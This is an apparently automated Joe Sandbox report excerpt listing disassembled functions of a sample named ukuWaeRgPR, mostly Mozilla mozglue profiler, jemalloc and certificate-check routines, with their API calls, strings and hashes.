API String ID: 4275171209-0
Opcode ID: 23733f6a056ee000e4873bd7ed3d438959f9f31dc3707d00135480a21c4b5702
Instruction ID: 422b7c6ba033ce9260adbfb16c815d3df19137b6e20d76e6bea3ceb6d9ead371
Opcode Fuzzy Hash: 23733f6a056ee000e4873bd7ed3d438959f9f31dc3707d00135480a21c4b5702
Instruction Fuzzy Hash: DAE0127530010C9BDB50CD4CD894F9F33DDF788220F148011F649DB209D239E8108771

Function 00FB2E84 Relevance: .1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2169821935.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.0000000000CC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.0000000000EB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.0000000000FEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.000000000103C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.00000000013AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.000000000164F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_ukuWaeRgPR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce398fd976c79fb3430b374de43a98ae88676410c30bbe22a0c70a4fa8fd382c
Instruction ID: 7ea8f2279a23b3f530645605e79f396e4214b11aa86c73ed7762650787b25272
Opcode Fuzzy Hash: ce398fd976c79fb3430b374de43a98ae88676410c30bbe22a0c70a4fa8fd382c
Instruction Fuzzy Hash: 351160347001058BE386EF3AE9C5EA5B7A7AB8A344B158276E405CB3A5CB745C82EB54

Non-executed Functions

Function 6C325440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C325492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3254A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3254BE
__Init_thread_footer.LIBCMT ref: 6C3254DB

Part of subcall function 6C34AB3F: EnterCriticalSection.KERNEL32(6C39E370,?,?,6C313527,6C39F6CC,?,?,?,?,?,?,?,?,6C313284), ref: 6C34AB49
Part of subcall function 6C34AB3F: LeaveCriticalSection.KERNEL32(6C39E370,?,6C313527,6C39F6CC,?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34AB7C

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

GetCurrentThreadId.KERNEL32 ref: 6C3254F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C325516
GetCurrentThreadId.KERNEL32 ref: 6C32556A
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C325577
moz_xmalloc.MOZGLUE(00000070), ref: 6C325585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C325590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C3255E6
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C325606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C325616

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

GetCurrentThreadId.KERNEL32 ref: 6C32563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C325646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C32567C
free.MOZGLUE(?), ref: 6C3256AE

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C3256E8
GetCurrentThreadId.KERNEL32 ref: 6C325707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C32570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C325729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C32574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C32576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C325796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C3257B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C3257CA

Strings

[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C325BBE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C325724
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C325717
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C325D2B
[I %d/%d] profiler_init, xrefs: 6C32564E
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C3256E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C32584E
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C325791
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C325CF9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C325D24
GeckoMain, xrefs: 6C325554, 6C3255D5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C3257AE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C3257C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C325AC9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C325B38
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C325749
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C325C56
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C325D1C
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C325766
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C3254B9
MOZ_BASE_PROFILER_HELP, xrefs: 6C325511
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C3254A3
MOZ_PROFILER_STARTUP, xrefs: 6C3255E1
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C325D01
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C32548D

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 8b7719f66ea193bb06fedc24fe98a6b57864c03fd7c143a9b3d39eb900ec0d83
Instruction ID: 4dc6b69ee96e7b30f743a9f6d629efab4060ad3cb026bcc78dd040cec7629acf
Opcode Fuzzy Hash: 8b7719f66ea193bb06fedc24fe98a6b57864c03fd7c143a9b3d39eb900ec0d83
Instruction Fuzzy Hash: 2F2223B5A043009FEF00AF74844866A77B9AF4630CF544529F8869BB45FB3ACA59CF53

Function 6C35B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C35B845
AcquireSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000), ref: 6C35B852
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35B884
InitializeConditionVariable.KERNEL32(?), ref: 6C35B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C35B9FD
GetCurrentThreadId.KERNEL32 ref: 6C35BA05
AcquireSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000), ref: 6C35BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C35BA27
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35BA4B
free.MOZGLUE(?), ref: 6C35C9C7
free.MOZGLUE(?), ref: 6C35C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C35C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C35C878

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 524d06390123a9ca0b5dd6a247a7668d138ea6b44f9f6f68deb0ff107ad834e2
Instruction ID: 1b88b25eb5c9a74e5108492b6ace78637ac5591c44f1411ea2587b375124ad95
Opcode Fuzzy Hash: 524d06390123a9ca0b5dd6a247a7668d138ea6b44f9f6f68deb0ff107ad834e2
Instruction Fuzzy Hash: BAA29F71A083808FC725CF28D480B9BB7E9BFC9318F454A2DE89997750EB719915CF82

Function 6C326C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C326CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C326D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C326D26

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C326D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C326D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C326D73
free.MOZGLUE(00000000), ref: 6C326D80
CertGetNameStringW.CRYPT32 ref: 6C326DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C326DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C326DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C326DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C326E10
CryptMsgClose.CRYPT32(00000000), ref: 6C326E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C326E34
CreateFileW.KERNEL32 ref: 6C326EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C326F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C326F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C32709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C327103
free.MOZGLUE(00000000), ref: 6C327153
CloseHandle.KERNEL32(?), ref: 6C327176
__Init_thread_footer.LIBCMT ref: 6C327209
__Init_thread_footer.LIBCMT ref: 6C32723A
__Init_thread_footer.LIBCMT ref: 6C32726B
__Init_thread_footer.LIBCMT ref: 6C32729C
__Init_thread_footer.LIBCMT ref: 6C3272DC
__Init_thread_footer.LIBCMT ref: 6C32730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C3273C2
VerSetConditionMask.NTDLL ref: 6C3273F3
VerSetConditionMask.NTDLL ref: 6C3273FF
VerSetConditionMask.NTDLL ref: 6C327406
VerSetConditionMask.NTDLL ref: 6C32740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C32741A
moz_xmalloc.MOZGLUE(?), ref: 6C32755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C327568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C327585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C327598
free.MOZGLUE(00000000), ref: 6C3275AC

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C3272C8
wintrust.dll, xrefs: 6C3272CD
(, xrefs: 6C32768A
SHA256, xrefs: 6C326EC0

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 4a61f61466a0a4d3ffd4867e7878c3977c8b8918e668116bca99cb2877399b8f
Instruction ID: ba4cee05f853667a86a3b2f96fe3ee7b87fe99ee294be254da114b435df8695e
Opcode Fuzzy Hash: 4a61f61466a0a4d3ffd4867e7878c3977c8b8918e668116bca99cb2877399b8f
Instruction Fuzzy Hash: 85529471A042159BEF21DF64CC84BAA77BCFF4A708F104199E909A7640EB75AE84CF91

Function 6C346FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C347019
LeaveCriticalSection.KERNEL32(6C39E7DC), ref: 6C347061
EnterCriticalSection.KERNEL32(?), ref: 6C3471A4
LeaveCriticalSection.KERNEL32(?), ref: 6C34721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C34723E
EnterCriticalSection.KERNEL32(?), ref: 6C34726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C3472B2
LeaveCriticalSection.KERNEL32(?), ref: 6C34733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C3473E8
LeaveCriticalSection.KERNEL32(?), ref: 6C34961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C349622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C349642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C34964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3496CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3496DB
AcquireSRWLockExclusive.KERNEL32(6C39E804), ref: 6C349747
GetSystemInfo.KERNEL32(?), ref: 6C349792
__Init_thread_footer.LIBCMT ref: 6C3497A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C39E810,00000040), ref: 6C3497CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7B8,00001388), ref: 6C349838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E744,00001388), ref: 6C34984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E784,00001388), ref: 6C349874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7DC,00001388), ref: 6C349895

Strings

MALLOC_OPTIONS, xrefs: 6C3497CA
MOZ_CRASH(), xrefs: 6C349B42
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C349993
<jemalloc>, xrefs: 6C349B33, 6C349BE3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C3499D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C3499BD
Compile-time page size does not divide the runtime one., xrefs: 6C349B38
: (malloc) Unsupported character in malloc options: ', xrefs: 6C349BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C3499A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C349933, 6C349A33, 6C349A4E

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 7dcb58c0bfacb56150e8693ad4f88cfe65cbcd48b7897066d865b4dedeaff446
Instruction ID: 493075c11ceb0602122653cf67903dcaa5629cfd3dc74e9f139e17475aa0a9fc
Opcode Fuzzy Hash: 7dcb58c0bfacb56150e8693ad4f88cfe65cbcd48b7897066d865b4dedeaff446
Instruction Fuzzy Hash: 5C538A71A097018FD714CF28C580615BBE5BF8A328F29C6ADE869CB791D772E841CF91

Function 6C350DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C350F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C350F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C350FB7
EnterCriticalSection.KERNEL32(?), ref: 6C350FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C351031
LeaveCriticalSection.KERNEL32(?), ref: 6C3510D0
EnterCriticalSection.KERNEL32(?), ref: 6C35117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C351C39
EnterCriticalSection.KERNEL32(6C39E744), ref: 6C353391
LeaveCriticalSection.KERNEL32(6C39E744), ref: 6C3533CD
LeaveCriticalSection.KERNEL32(?), ref: 6C353431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C353437

Strings

MALLOC_OPTIONS, xrefs: 6C3535FE
MOZ_CRASH(), xrefs: 6C353950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C353793
<jemalloc>, xrefs: 6C353941, 6C3539F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C3537D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C3537BD
Compile-time page size does not divide the runtime one., xrefs: 6C353946
: (malloc) Unsupported character in malloc options: ', xrefs: 6C353A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C3537A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C353559, 6C35382D, 6C353848

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 61a4534e8c0434d9645c001302dd5057ca6b99d27bd3b36db8f14bded0f51963
Instruction ID: 2fdf2cc1020b6f9a4db1fde9b46582955d63456b8409e5a1172c94621d0f2846
Opcode Fuzzy Hash: 61a4534e8c0434d9645c001302dd5057ca6b99d27bd3b36db8f14bded0f51963
Instruction Fuzzy Hash: 85539C72A057018FC704CF29C580A16FBE1BF89328F69C66DE8699B791D772E851CF81

Function 6C3755F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C34E1A5), ref: 6C375606
LoadLibraryW.KERNEL32(gdi32,?,6C34E1A5), ref: 6C37560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C375633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C37563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C37566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C37567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C375696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C3756B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C3756CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C3756E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C3756FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C375716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C37572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C375748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C375761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C37577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C375793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C3757A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C3757BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C3757D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C3757EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C3757FF

Strings

GetThreadDpiAwarenessContext, xrefs: 6C37562D
gdi32, xrefs: 6C37560A
RegisterClassW, xrefs: 6C3756AC
LoadCursorW, xrefs: 6C375774
user32, xrefs: 6C375601
StretchDIBits, xrefs: 6C3757CC
ReleaseDC, xrefs: 6C375742
GetDpiForWindow, xrefs: 6C375690
ShowWindow, xrefs: 6C3756DE
SetWindowLongPtrW, xrefs: 6C3757B7
EnableNonClientDpiScaling, xrefs: 6C375666
GetSystemMetricsForDpi, xrefs: 6C375677
CreateSolidBrush, xrefs: 6C3757E4
SetWindowPos, xrefs: 6C3756F7
LoadIconW, xrefs: 6C37575B
MonitorFromWindow, xrefs: 6C37578D
FillRect, xrefs: 6C375729
DeleteObject, xrefs: 6C3757F9
CreateWindowExW, xrefs: 6C3756C5
GetWindowDC, xrefs: 6C375710
AreDpiAwarenessContextsEqual, xrefs: 6C375637
GetMonitorInfoW, xrefs: 6C3757A2

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

